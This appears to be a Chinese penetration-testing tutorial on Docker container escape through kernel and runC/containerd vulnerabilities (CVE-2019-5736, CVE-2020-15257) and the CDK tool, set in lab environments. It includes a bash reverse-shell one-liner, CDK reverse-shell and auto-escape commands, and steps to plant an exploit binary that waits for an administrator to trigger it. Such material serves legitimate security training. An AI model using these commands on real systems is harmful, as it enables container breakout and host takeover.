云上攻防-云原生篇&Docker安全&系统内核&版本漏洞&CDK自动利用&容器逃逸

知识点

1、云原生-Docker安全-容器逃逸&内核漏洞

2、云原生-Docker安全-容器逃逸&版本漏洞

3、云原生-Docker安全-容器逃逸&CDK自动化

章节点:

bash 复制代码
云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

1、Docker是干嘛的?

bash 复制代码
一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

2、Docker对于渗透测试影响?

bash 复制代码
攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

3、前渗透-判断是否在容器中

前提:拿到权限
https://blog.csdn.net/qq_23936389/article/details/131486643

方式一:查询cgroup信息

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

bash 复制代码
cat /proc/1/cgroup

docker 环境下:

K8s环境下:

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。

K8s&docker环境下:

bash 复制代码
ls -alh /.dockerenv 

可以找到文件。

方式三:查看端口运行情况

bash 复制代码
netstat -anpt

4、后渗透-三种安全容器逃逸

bash 复制代码
特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)

参考地址:https://wiki.teamssix.com/CloudNative/

一、演示案例-云原生-Docker安全-容器逃逸&系统内核漏洞

细节部分在权限提升章节会详解,常用:

bash 复制代码
CVE-2016-5195 CVE-2019-16884 CVE-2021-3493 
CVE-2021-22555 CVE-2022-0492 CVE-2022-0847 CVE-2022-23222

二、演示案例-云原生-Docker安全-容器逃逸&docker版本漏洞

CVE-2019-5736 runC容器逃逸(需要管理员配合触发)

影响版本:

bash 复制代码
Docker version <= 18.09.2
RunC version <= 1.0-rc6

1、安装docker对应版本

bash 复制代码
apt-get update

apt-get install -y apt-transport-https ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=18.06.1~ce~3-0~ubuntu


2、启动靶场环境测试

bash 复制代码
docker run -itd --cap-add=SYS_ADMIN ubuntu:latest


3、编译修改后EXP后等待管理员进入容器执行

https://github.com/Frichetten/CVE-2019-5736-PoC


bash 复制代码
bash -c 'exec bash -i >& /dev/tcp/127.0.0.1/8080 0>&1'

修改完毕后,要把这个main.go编译成main文件

bash 复制代码
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go



bash 复制代码
docker cp main 7f4793f3ac0cd13:/


bash 复制代码
chmod 777 main

执行main文件

bash 复制代码
./main

真实系统管理员重新进入该容器触发反弹shell

bash 复制代码
docker exec -it 7f4793f3ac0cd13 /bin/bash



4、实验获取云服务器上docker搭建的Web权限后进行逃逸

bash 复制代码
docker run -it -p 8888:8080 vulhub/struts2:s2-053



该工具只能上传脚本文件目录,没法上传一些执行程序,需要拿到webshell利用webshell链接工具上传执行程序。

查看当前网站目录








CVE-2020-15257 containerd逃逸(启动容器时有前提参数)

影响版本:

bash 复制代码
containerd < 1.4.3
containerd < 1.3.9

1、安装docker对应版本

bash 复制代码
apt-get update

apt-get install ca-certificates curl software-properties-common

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -

add-apt-
repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update

apt-cache madison docker-ce

apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

2、启动环境测试:

bash 复制代码
docker pull ubuntu:18.04
docker run -itd --net=host ubuntu:18.04 /bin/bash  //--net=host是前提条件,不加这个参数启动的docker没有这个漏洞
docker exec -it 5be3ed60f152 /bin/bash

3、上传CDK工具自动逃逸反弹

bash 复制代码
docker cp cdk_linux_amd64 8e7c27d7b98ca32927:/tmp
bash 复制代码
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx  //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描


4、实验获取到docker搭建的Web权限后进行逃逸






三、演示案例-云原生-Docker安全-容器逃逸&CDK自动化

项目地址

https://github.com/cdk-team/CDK

不支持系统内核漏洞

演示-特权模式








也可以指定漏洞利用




相关推荐
哈里谢顿13 小时前
Kubernetes Operator核心概念、实现原理和实战开发
云原生
阿里云云原生18 小时前
你的 OpenClaw 真的在受控运行吗?
云原生
用户9623779544818 小时前
DVWA 靶场实验报告 (High Level)
安全
阿里云云原生18 小时前
5 分钟零代码改造,让 Go 应用自动获得全链路可观测能力
云原生·go
Shanyoufusu1219 小时前
RKE2 单节点集群安装 Rancher+ 私有镜像仓库搭建 完整教程
云原生
阿里云云原生20 小时前
Dify 官方上架 Higress 插件,轻松接入 AI 网关访问模型服务
云原生
数据智能老司机21 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机21 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
AI攻城狮21 小时前
OpenClaw Session 管理完全指南:Context 压缩、重置与持久化
人工智能·云原生·aigc
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全